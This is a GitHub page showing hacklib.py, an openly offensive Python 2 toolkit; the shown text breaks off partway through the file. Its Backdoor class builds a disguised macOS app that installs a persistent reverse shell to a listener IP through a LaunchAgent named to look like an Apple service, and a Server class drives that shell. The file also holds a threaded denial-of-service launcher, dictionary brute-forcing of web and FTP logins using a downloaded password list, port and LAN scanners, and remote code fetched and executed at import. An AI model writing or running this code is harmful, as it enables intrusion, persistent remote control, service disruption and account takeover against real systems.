FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
python-hacklib/hacklib.py at master · PHPPlay/python-hacklib · GitHub
PHPPlay
/
python-hacklib
Public
forked from
lazorfuzz/python-hacklib
Notifications
You must be signed in to change notification settings
Fork
0
Star
0
Code
Pull requests
0
Actions
Projects
Wiki
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Wiki
Security and quality
Insights
Expand file tree
Breadcrumbs
python-hacklib
/
hacklib.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
1168 lines (940 loc) · 37.8 KB
Breadcrumbs
python-hacklib
/
hacklib.py
Copy path
File metadata and controls
1168 lines (940 loc) · 37.8 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
'''The MIT License (MIT)
Copyright (c) 2016 Leon Li (leon@apolyse.com)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial
portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
import
socket
,
httplib
,
threading
,
time
,
urllib2
,
os
from
Queue
import
Queue
try
:
# Import scapy if they have it. If they don't, they can still use hacklib
from
scapy
.
all
import
*
import
logging
logging
.
getLogger
(
"scapy.runtime"
).
setLevel
(
logging
.
ERROR
)
# Fixes scapy logging error
except
:
pass
from
string
import
ascii_uppercase
,
ascii_lowercase
,
digits
# Import for PatternCreate and PatternOffset
class
Backdoor
(
object
):
'''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX.
Payloads for Windows and Linux coming soon.'''
def
__init__
(
self
):
self
.
IP
=
''
self
.
port
=
''
self
.
osx_payload
=
'''#!/bin/bash
mkdir ~/Library/.h
echo '#!/bin/bash
bash -i >& /dev/tcp/HOST/PORT 0>&1
wait' > ~/Library/.h/connect.sh
chmod +x ~/Library/.h/connect.sh
echo '<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apples.services</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>'$HOME'/Library/.h/connect.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>60</integer>
<key>AbandonProcessGroup</key>
<true/>
</dict>
</plist>' > ~/Library/LaunchAgents/com.apples.services.plist
chmod 600 ~/Library/LaunchAgents/com.apples.services.plist
launchctl load ~/Library/LaunchAgents/com.apples.services.plist
exit
'''
def
create
(
self
,
IP
,
port
,
OS
,
appname
=
'funny_cats'
):
'''Creates a user-level reverse shell.'''
if
OS
==
'OSX'
:
self
.
osx_payload
=
self
.
osx_payload
.
replace
(
'HOST'
,
IP
).
replace
(
'PORT'
,
str
(
port
))
try
:
os
.
makedirs
(
os
.
getcwd
()
+
'/'
+
appname
+
'.app/Contents/MacOS'
)
except
:
pass
payload_path
=
os
.
getcwd
()
+
'/'
+
appname
+
'.app/Contents/MacOS/'
+
appname
with
open
(
payload_path
,
'w'
)
as
f
:
f
.
write
(
self
.
osx_payload
)
import
subprocess
subprocess
.
Popen
([
'chmod'
,
'755'
,
payload_path
])
print
'Payload saved to '
+
os
.
getcwd
()
+
'/'
+
appname
+
'.app'
class
Server
(
object
):
def
__init__
(
self
,
port
):
import
socket
self
.
port
=
port
self
.
address
=
(
''
,
port
)
def
listen
(
self
):
import
time
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
sock
.
bind
(
self
.
address
)
sock
.
listen
(
1
)
while
True
:
connection
,
cAddress
=
sock
.
accept
()
try
:
print
'New connection'
,
cAddress
while
True
:
data
=
connection
.
recv
(
32768
)
if
data
:
print
'
\n
'
.
join
(
data
.
split
(
'
\n
'
)[:
-
1
])
response
=
raw_input
(
'bash$ '
)
data
=
None
if
response
:
connection
.
sendall
(
response
+
'
\n
'
)
time
.
sleep
(
0.5
)
finally
:
connection
.
close
()
class
FTPAuth
(
object
):
'''FTP login and command handler.
Commands:
login() Args: username, password
send() Args: message
'''
def
__init__
(
self
,
IP
,
port
=
21
):
self
.
IP
=
IP
self
.
port
=
port
self
.
username
=
''
self
.
password
=
''
self
.
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
self
.
s
.
settimeout
(
5
)
self
.
s
.
connect
((
self
.
IP
,
self
.
port
))
self
.
s
.
recv
(
1024
)
def
_send
(
self
,
message
):
self
.
s
.
send
(
message
)
response
=
self
.
s
.
recv
(
32768
)
return
response
def
send
(
self
,
message
):
self
.
s
.
send
(
message
+
'
\r
\n
'
)
while
True
:
response
=
self
.
s
.
recv
(
32768
)
if
response
:
return
response
def
login
(
self
,
username
,
password
):
self
.
_send
(
'USER '
+
username
+
'
\r
\n
'
)
response
=
self
.
_send
(
'PASS '
+
password
+
'
\r
\n
'
)
if
'230'
in
response
:
return
elif
'331'
in
response
:
return
'Password required'
else
:
raise
Exception
(
response
)
class
AuthClient
(
object
):
'''Universal login tool for most login pages as well as HTTP Basic Authentication.
Commands:
login() Args: url, username, password
'''
def
__init__
(
self
):
self
.
url
=
''
self
.
username
=
''
self
.
password
=
''
def
_get_login_type
(
self
):
try
:
# Attempts to urlopen target URL without exception
data
=
urllib2
.
urlopen
(
self
.
url
)
return
'FORM'
except
Exception
,
e
:
if
'error 401'
in
str
(
e
).
lower
():
return
'BA'
if
'timed out'
in
str
(
e
).
lower
():
return
'TO'
def
_login_mechanize
(
self
):
try
:
import
mechanize
except
:
raise
MissingPackageException
(
'Please install the mechanize module before continuing.'
)
# Sets up common input names/ids and creates instance of mechanize.Browser()
userfields
=
[
'user'
,
'username'
,
'usr'
,
'email'
,
'name'
,
'login'
,
'userid'
,
'userid-input'
,
'player'
]
passfields
=
[
'pass'
,
'password'
,
'passwd'
,
'pw'
,
'pwd'
]
br
=
mechanize
.
Browser
()
br
.
set_handle_robots
(
False
)
br
.
set_handle_refresh
(
False
)
br
.
addheaders
=
[(
'User-agent'
,
'googlebot'
)]
# Opens URL and lists controls
response
=
br
.
open
(
self
.
url
)
loginurl
=
response
.
geturl
()
br
.
form
=
list
(
br
.
forms
())[
0
]
username_control
=
''
password_control
=
''
# Locates username and password input, and submits login info
for
control
in
br
.
form
.
controls
:
if
control
.
name
and
control
.
name
.
lower
()
in
userfields
or
control
.
id
and
control
.
id
.
lower
()
in
userfields
:
username_control
=
control
if
control
.
name
and
control
.
name
.
lower
()
in
passfields
or
control
.
id
and
control
.
id
.
lower
()
in
passfields
:
password_control
=
control
username_control
.
value
=
self
.
username
try
:
password_control
.
value
=
self
.
password
except
:
# Detected a username input but not a password input.
# Submits form with username and attempts to detect password input in resulting page
response
=
br
.
submit
()
br
.
form
=
list
(
br
.
forms
())[
0
]
for
control
in
br
.
form
.
controls
:
if
control
.
name
and
control
.
name
.
lower
()
in
passfields
or
control
.
id
and
control
.
id
.
lower
()
in
passfields
:
password_control
=
control
password_control
.
value
=
self
.
password
response
=
br
.
submit
()
# Returns response if the URL is changed. Assumes login failure if URL is the same
if
response
.
geturl
()
!=
loginurl
:
return
response
.
read
()
else
:
raise
Exception
(
'Login credentials incorrect.'
)
def
_login_BA
(
self
):
try
:
# Creates a PasswordMgr instance
passmanager
=
urllib2
.
HTTPPasswordMgrWithDefaultRealm
()
passmanager
.
add_password
(
None
,
self
.
url
,
self
.
username
,
self
.
password
)
# Creates an auth handling object and builds it with opener
auth
=
urllib2
.
HTTPBasicAuthHandler
(
passmanager
)
opener
=
urllib2
.
build_opener
(
auth
)
response
=
opener
.
open
(
self
.
url
,
timeout
=
8
)
data
=
response
.
read
()
response
.
close
()
return
data
except
Exception
,
e
:
if
'Error 401'
in
str
(
e
):
raise
Exception
(
'Login credentials incorrect.'
)
def
login
(
self
,
url
,
username
,
password
):
self
.
url
=
url
self
.
username
=
username
self
.
password
=
password
# ascertain the type of login page given by url
logintype
=
self
.
_get_login_type
()
if
logintype
==
'BA'
:
# attempts to login with BA method and return html
return
self
.
_login_BA
()
if
logintype
==
'TO'
:
raise
Exception
(
'Request timed out.'
)
if
logintype
==
'FORM'
:
return
self
.
_login_mechanize
()
class
DOSer
(
object
):
'''Hits a host with GET requests on default port 80 from multiple threads.
Commands:
launch() Args: host, duration, threads(default 1), port(default 80),
payload(default crocodile)
'''
def
__init__
(
self
):
self
.
target
=
'127.0.0.1'
self
.
port
=
80
self
.
threads
=
1
self
.
payload
=
'?INTERIORCROCODILEALLIGATORIDRIVEACHEVROLETMOVIETHEATER'
self
.
start_time
=
0
self
.
time_length
=
1
def
_attack
(
self
,
target
):
# Sends GET requests for time_length duration
while
int
(
time
.
time
())
<
self
.
start_time
+
self
.
time_length
:
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
1
)
try
:
s
.
connect
((
self
.
target
,
self
.
port
))
s
.
send
(
"GET /"
+
self
.
payload
+
" HTTP/1.1
\r
\n
"
)
s
.
send
(
"Host: "
+
self
.
target
+
"
\r
\n
\r
\n
"
)
except
:
pass
def
_threader
(
self
):
while
True
:
self
.
worker
=
self
.
q
.
get
()
self
.
_attack
(
self
.
worker
)
self
.
q
.
task_done
()
def
launch
(
self
,
host
,
duration
,
threads
=
1
,
port
=
80
,
payload
=
'default'
):
'''Launches threaded GET requests for (duration) seconds.
'''
self
.
target
=
host
self
.
port
=
port
self
.
threads
=
threads
self
.
start_time
=
int
(
time
.
time
())
self
.
time_length
=
duration
if
payload
!=
'default'
:
self
.
payload
=
payload
# Creates queue to hold each thread
self
.
q
=
Queue
.
Queue
()
#print '> Launching ' + str(threads) + ' threads for ' + str(duration) + ' seconds.'
for
i
in
range
(
threads
):
t
=
threading
.
Thread
(
target
=
self
.
_threader
)
t
.
daemon
=
True
t
.
start
()
# Adds workers to queue
for
worker
in
range
(
0
,
threads
):
self
.
q
.
put
(
worker
)
self
.
q
.
join
()
return
class
PortScanner
(
object
):
'''Scan an IP address using scan(host) with default port range 1-1024.
Commands:
scan() Args: IP, port_range(default 1024), timeout(default 1), verbose(default True)
'''
def
__init__
(
self
):
self
.
IP
=
'127.0.0.1'
self
.
port_range
=
'1025'
self
.
print_lock
=
threading
.
Lock
()
self
.
timeout
=
2
self
.
openlist
=
[]
self
.
verbose
=
True
def
_portscan
(
self
,
port
):
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
self
.
timeout
)
# Tries to establish a connection to port, and append to list of open ports
try
:
con
=
s
.
connect
((
self
.
IP
,
port
))
response
=
s
.
recv
(
1024
)
self
.
openlist
.
append
(
port
)
if
self
.
verbose
:
with
self
.
print_lock
:
print
'Port'
,
str
(
port
)
+
':'
print
response
s
.
close
()
# If the connection fails, tries to establish HTTP connection if port is a common HTTP port
except
Exception
,
e
:
httplist
=
[
80
,
81
,
443
,
1900
,
2082
,
2083
,
8080
,
8443
]
if
port
in
httplist
:
try
:
headers
=
'''GET /HTTP/1.1
Host: '''
+
self
.
IP
+
'''
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate'''
+
'
\r
\n
\r
\n
'
s
.
send
(
headers
)
response
=
s
.
recv
(
1024
)
response
=
response
.
splitlines
()
response
=
'
\n
'
.
join
(
response
[:
7
])
self
.
openlist
.
append
(
port
)
if
self
.
verbose
:
with
self
.
print_lock
:
print
'Port'
,
str
(
port
)
+
':'
print
response
s
.
close
()
except
:
pass
def
portOpen
(
self
,
port
):
if
port
in
self
.
openlist
:
return
else
:
return
False
def
_threader
(
self
):
while
True
:
self
.
worker
=
self
.
q
.
get
()
self
.
_portscan
(
self
.
worker
)
self
.
q
.
task_done
()
def
scan
(
self
,
IP
,
port_range
=
(
1
,
1025
),
timeout
=
1
,
verbose
=
True
):
'''Scans ports of an IP address. Use getIP() to find IP address of host.
'''
self
.
openlist
=
[]
self
.
IP
=
IP
self
.
port_range
=
port_range
self
.
timeout
=
1
# Creates queue to hold each thread
self
.
q
=
Queue
.
Queue
()
for
x
in
range
(
30
):
t
=
threading
.
Thread
(
target
=
self
.
_threader
)
t
.
daemon
=
True
t
.
start
()
# Adds workers to queue
for
worker
in
range
(
port_range
[
0
],
port_range
[
1
]):
self
.
q
.
put
(
worker
)
self
.
q
.
join
()
class
LanScanner
(
object
):
'''Scans local devices on your LAN network.
Commands:
scan() Args: host_range(default (1, 255))
'''
def
__init__
(
self
):
self
.
host_range
=
[]
self
.
alive_hosts
=
[]
self
.
localIP
=
''
def
_threader
(
self
):
while
True
:
self
.
worker
=
self
.
q
.
get
()
self
.
_scan
(
self
.
worker
)
self
.
q
.
task_done
()
def
_scan
(
self
,
host
):
import
subprocess
try
:
resp
=
subprocess
.
check_output
([
'ping'
,
'-c1'
,
'-W90'
,
host
])
self
.
alive_hosts
.
append
(
host
)
except
:
return
def
getLocalIP
(
self
):
import
subprocess
proc
=
subprocess
.
Popen
([
"ifconfig"
],
stdout
=
subprocess
.
PIPE
,
shell
=
True
)
(
out
,
err
)
=
proc
.
communicate
()
data
=
out
.
splitlines
()
for
line
in
data
:
if
'inet '
in
line
and
'127.'
not
in
line
:
return
line
.
split
(
' '
)[
1
]
def
scan
(
self
,
h_range
=
(
1
,
255
)):
# Finds local IP first in order to determine IP range of local network
localip
=
self
.
getLocalIP
()
stub
=
'.'
.
join
(
localip
.
split
(
'.'
)[:
-
1
])
# Adds list of possible local hosts to self.range_range
for
i
in
range
(
h_range
[
0
],
h_range
[
1
]):
self
.
host_range
.
append
(
stub
+
'.'
+
str
(
i
))
self
.
q
=
Queue
.
Queue
()
# Launches 100 threads to ping 254 potential hosts
for
x
in
range
(
100
):
t
=
threading
.
Thread
(
target
=
self
.
_threader
)
t
.
daemon
=
True
t
.
start
()
for
worker
in
self
.
host_range
:
self
.
q
.
put
(
worker
)
self
.
q
.
join
()
return
list
(
set
(
self
.
alive_hosts
))
class
_Getch
:
"""Gets a single character from standard input. Does not echo to the
screen."""
def
__init__
(
self
):
try
:
self
.
impl
=
_GetchWindows
()
except
ImportError
:
try
:
self
.
impl
=
_GetchUnix
()
except
ImportError
:
self
.
impl
=
_GetchMacCarbon
()
def
__call__
(
self
):
return
self
.
impl
()
class
_GetchUnix
:
def
__init__
(
self
):
import
tty
,
sys
,
termios
def
__call__
(
self
):
import
sys
,
tty
,
termios
try
:
fd
=
sys
.
stdin
.
fileno
()
old_settings
=
termios
.
tcgetattr
(
fd
)
try
:
tty
.
setraw
(
sys
.
stdin
.
fileno
())
ch
=
sys
.
stdin
.
read
(
1
)
finally
:
termios
.
tcsetattr
(
fd
,
termios
.
TCSADRAIN
,
old_settings
)
return
ch
except
:
return
raw_input
(
'> '
)
class
_GetchWindows
:
def
__init__
(
self
):
import
msvcrt
def
__call__
(
self
):
try
:
import
msvcrt
return
msvcrt
.
getch
()
except
:
return
raw_input
(
'> '
)
class
Proxy
(
object
):
'''Can work in conjunction with getProxies() to tunnel all
network activity in the Python script through a Socks4/5 proxy.
Commands:
connect() Args: getProxies(), timeout=10
connect_manual() Args: IP, port, proxy_type
'''
def
__init__
(
self
):
self
.
IP
=
''
self
.
port
=
''
self
.
proxy_type
=
''
self
.
country
=
''
self
.
_socksfile
=
urllib2
.
urlopen
(
'https://raw.githubusercontent.com/Anorov/PySocks/master/socks.py'
).
read
()
global
socks
# Dynamically import socks.py from the internet
socks
=
importFromString
(
self
.
_socksfile
,
'socks'
)
def
connect
(
self
,
proxies
,
timeout
=
10
):
for
proxy
in
proxies
:
if
proxy
[
4
]
==
'Socks4'
:
self
.
proxy_type
=
socks
.
PROXY_TYPE_SOCKS4
else
:
self
.
proxy_type
=
socks
.
PROXY_TYPE_SOCKS5
try
:
# Sets the socket.socket class to the socks module's socksocket class
socks
.
setdefaultproxy
(
self
.
proxy_type
,
proxy
[
0
],
int
(
proxy
[
1
]))
socket
.
socket
=
socks
.
socksocket
# Tests to see if the proxy can open a webpage
currentIP
=
urllib2
.
urlopen
(
'http://icanhazip.com/'
,
timeout
=
timeout
).
read
().
split
()[
0
]
self
.
IP
=
proxy
[
0
]
self
.
port
=
int
(
proxy
[
1
])
self
.
country
=
proxy
[
2
]
return
except
:
pass
raise
Exception
(
'Couldn
\'
t connect to any proxies.'
)
def
connect_manual
(
IP
,
port
,
proxy_type
=
'Socks5'
):
if
proxy_type
==
'Socks4'
:
self
.
proxy_type
=
socks
.
PROXY_TYPE_SOCKS4
else
:
self
.
proxy_type
=
socks
.
PROXY_TYPE_SOCKS5
try
:
socks
.
setdefaultproxy
(
self
.
proxy_type
,
IP
,
port
)
socket
.
socket
=
socks
.
socksocket
currentIP
=
urllib2
.
urlopen
(
'http://icanhazip.com/'
).
read
().
split
()[
0
]
self
.
IP
=
IP
self
.
port
=
port
return
currentIP
except
:
raise
Exception
(
'Connection failed.'
)
def
importFromString
(
code
,
name
):
"""Import dynamically generated code as a module.
Args: code: a string, a file handle, or a compiled binary
name: the name of the module
"""
import
sys
,
imp
module
=
imp
.
new_module
(
name
)
exec
code
in
module
.
__dict__
return
module
def
getIP
(
host
):
return
socket
.
gethostbyname
(
host
)
def
randomIP
():
import
struct
return
socket
.
inet_ntoa
(
struct
.
pack
(
'>I'
,
random
.
randint
(
1
,
0xffffffff
)))
def
getProxies
(
country_filter
=
'ALL'
,
proxy_type
=
(
'Socks4'
,
'Socks5'
)):
'''Gets list of recently tested Socks4/5 proxies.
Return format is as follows:
[IP, Port, Country Code, Country, Proxy Type, Anonymous, Yes/No, Last Checked]
Args: country_filter: Specify country codes within a tuple, e.g. ('US', 'MX')
proxy_type: Specify whic Socks version to use, e.g. 'Socks5'
'''
try
:
import
mechanize
except
:
raise
MissingPackageException
(
'Please install the mechanize module before continuing. Use hacklib.installDependencies()'
)
try
:
from
bs4
import
BeautifulSoup
except
:
raise
MissingPackageException
(
'Please install the beautifulsoup4 module before continuing. Use hacklib.installDependencies()'
)
br
=
mechanize
.
Browser
()
br
.
set_handle_robots
(
False
)
br
.
addheaders
=
[(
'User-agent'
,
'googlebot'
)]
data
=
br
.
open
(
'http://www.socks-proxy.net'
).
read
()
soup
=
BeautifulSoup
(
data
,
'html.parser'
)
proxylist
=
[]
table
=
soup
.
find
(
'table'
)
tbody
=
table
.
find
(
'tbody'
)
rows
=
tbody
.
find_all
(
'tr'
)
for
row
in
rows
:
cols
=
row
.
find_all
(
'td'
)
cols
=
[
ele
.
text
.
strip
()
for
ele
in
cols
]
proxylist
.
append
([
ele
for
ele
in
cols
if
ele
])
filteredlist
=
[]
if
not
country_filter
==
'ALL'
:
for
proxy
in
proxylist
:
if
proxy
[
2
]
in
country_filter
:
filteredlist
.
append
(
proxy
)
proxylist
=
filteredlist
filteredlist
=
[]
if
not
proxy_type
==
(
'Socks4'
,
'Socks5'
):
for
proxy
in
proxylist
:
if
not
country_filter
==
'ALL'
:
if
proxy
[
4
]
in
proxy_type
and
proxy
[
2
]
in
country_filter
:
filteredlist
.
append
(
proxy
)
else
:
if
proxy
[
4
]
in
proxy_type
:
filteredlist
.
append
(
proxy
)
proxylist
=
filteredlist
return
proxylist
def
installDependencies
():
import
subprocess
mech
=
subprocess
.
check_output
([
'/usr/local/bin/pip'
,
'install'
,
'mechanize'
])
if
'successfully installed'
in
mech
:
print
'Installed mechanize'
beaut
=
subprocess
.
check_output
([
'/usr/local/bin/pip'
,
'install'
,
'bs4'
])
if
'successfully installed'
in
beaut
:
print
'Installed beautifulsoup'
scapy
=
subprocess
.
check_output
([
'/usr/local/bin/pip'
,
'install'
,
'scapy'
])
if
'successfully installed'
in
scapy
:
print
'Installed scapy'
pcapy
=
subprocess
.
check_output
([
'/usr/local/bin/pip'
,
'install'
,
'pcapy'
])
if
'successfully installed'
in
pcapy
:
print
'Installed pcapy'
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
def
send
(
IP
,
port
,
message
,
keepalive
=
False
):
'''Creates new socket and sends a TCP message. If keepalive is true, use hacklib.sock
to handle socket and hacklib.sock.close() when finished.
'''
if
keepalive
:
global
sock
else
:
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
sock
.
connect
((
IP
,
port
))
sock
.
send
(
message
)
response
=
sock
.
recv
(
2048
)
if
not
keepalive
:
sock
.
close
()
return
response
def
ping
(
host
):
"""Pings a host and returns true if the host exists.
"""
import
os
,
platform
ping_str
=
"-n 1"
if
platform
.
system
().
lower
()
==
"windows"
else
"-c 1"
return
os
.
system
(
"ping "
+
ping_str
+
" "
+
host
)
==
0
def
topPasswords
(
amount
):
'''Get up to 100,000 most common passwords.
'''
url
=
'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt'
passlist
=
urllib2
.
urlopen
(
url
).
read
().
split
(
'
\n
'
)
return
passlist
[:
amount
]
def
uiPortScan
(
address
):
print
''
print
'1) default scan (port range 1-1024)'
print
'2) custom range'
ink
=
_Getch
()
cmd
=
ink
()
ps
=
PortScanner
()
print
'Beginning port scan.'
if
cmd
==
'1'
:
ps
.
scan
(
address
)
if
cmd
==
'2'
:
s_port
=
raw_input
(
'Input starting port > '
)
e_port
=
raw_input
(
'Input end port >'
)
ps
.
scan
(
address
, (
int
(
s_port
),
int
(
e_port
)))
print
'Port scan complete.'
def
uiDOS
(
address
):
dos
=
DOSer
()
print
''
duration
=
raw_input
(
'Duration > '
)
threads
=
raw_input
(
'Threads > '
)
port
=
int
(
raw_input
(
'Port > '
))
payload
=
raw_input
(
'Payload > '
)
print
'Launching DOS attack'
dos
.
launch
(
address
,
duration
,
threads
,
port
,
payload
)
def
uiTCPMessage
(
address
):
print
''
port
=
int
(
raw_input
(
'Input port >'
))
message
=
raw_input
(
'Message > '
)
send
(
address
,
port
,
message
)
def
uiLogin
(
address
):
print
''
print
'Select login type'
print
'1) HTTP/Form login'
print
'2) FTP login'
print
'3) Exit'
print
''
ink
=
_Getch
()
cmd
=
ink
()
if
cmd
==
'1'
:
ac
=
AuthClient
()
print
'1) Dictionary attack'
print
'2) Exit'
ink
=
_Getch
()
cmd
=
ink
()
if
cmd
==
'1'
:
username
=
raw_input
(
'Username > '
)
print
'1) Try most common passwords'
print
'2) Import password list (separated by newline)'
cmd
=
ink
()
if
cmd
==
'1'
:
print
'Try the top <input number> out of 100,000 most common passwords:'
num
=
int
(
raw_input
(
'> '
))
passwords
=
topPasswords
(
num
)
if
cmd
==
'2'
:
passfile
=
raw_input
(
'Filepath > '
)
with
open
(
passfile
,
'r'
)
as
f
:
passwords
=
passfile
.
read
().
splitlines
()
print
'Input a unique string the webpage may respond with if login fails'
print
'i.e. "please try again" or "login failed"'
failstring
=
raw_input
(
'> '
)
for
password
in
passwords
:
try
:
data
=
ac
.
login
(
address
,
username
,
password
)
if
failstring
in
data
:
print
password
+
' failed'
elif
failstring
not
in
data
:
print
'Login success!'
print
'Password is: '
+
password
time
.
sleep
(
2
)
return
except
:
print
password
+
' failed'
if
cmd
==
'2'
:
return
if
cmd
==
'2'
:
ftp
=
FTPAuth
(
address
)
print
'1) Dictionary attack'
print
'2) Single login'
print
'3) Exit'
ink
=
_Getch
()
cmd
=
ink
()
username
=
raw_input
(
'Username > '
)
if
cmd
==
'1'
:
print
'Try the top <input number> out of 100,000 most common passwords:'
num
=
raw_input
(
'> '
)
for
password
in
topPasswords
(
num
):
try
:
response
=
ftp
.
send
(
'USER '
+
username
+
'
\r
\n
'
)
if
'331'
in
response
:
response
=
ftp
.
send
(
'PASS '
+
password
+
'
\r
\n
'
)
if
'331'
in
response
:
response
=
ftp
.
send
(
'PASS '
+
password
+
'
\r
\n
'
)
if
'230'
in
response
:
print
'Login success!'
print
'Password is: '
+
password
time
.
sleep
(
2
)
return
if
'530'
in
response
:
print
password
+
' failed.'
ftp
=
FTPAuth
(
address
)
except
:
print
password
+
' failed.'
ftp
=
FTPAuth
(
address
)
if
cmd
==
'2'
:
username
=
raw_input
(
'Username > '
)
ftp
.
send
(
'USER '
+
username
+
'
\r
\n
'
)
password
=
raw_input
(
'Password > '
)
ftp
.
send
(
'PASS '
+
password
+
'
\r
\n
'
)
if
cmd
==
'3'
:
return
def
uiLanScan
():
lan
=
LanScanner
()
print
'Starting Lan scan'
hosts
=
lan
.
scan
()
for
ip
in
hosts
:
print
ip
print
'Lan scan complete.'
time
.
sleep
(
2
)
def
uiCreateBackdoor
():
print
''
print
'Select OS'
print
'1) Mac OSX'
ink
=
_Getch
()
cmd
=
ink
()
if
cmd
==
'1'
:
ip
=
raw_input
(
'Listener IP > '
)
port
=
raw_input
(
'Listener Port > '
)
appname
=
raw_input
(
'Filename > '
)
bd
=
Backdoor
()
bd
.
create
(
ip
,
port
,
'OSX'
,
appname
)
time
.
sleep
(
2
)
def
uiServer
():
print
''
port
=
raw_input
(
'Listening port > '
)
s
=
Server
(
int
(
port
))
print
'Listening on port '
+
port
s
.
listen
()
def
userInterface
():
'''Start UI if hacklib isn't being used as a library.
'''
firstrun
=
0
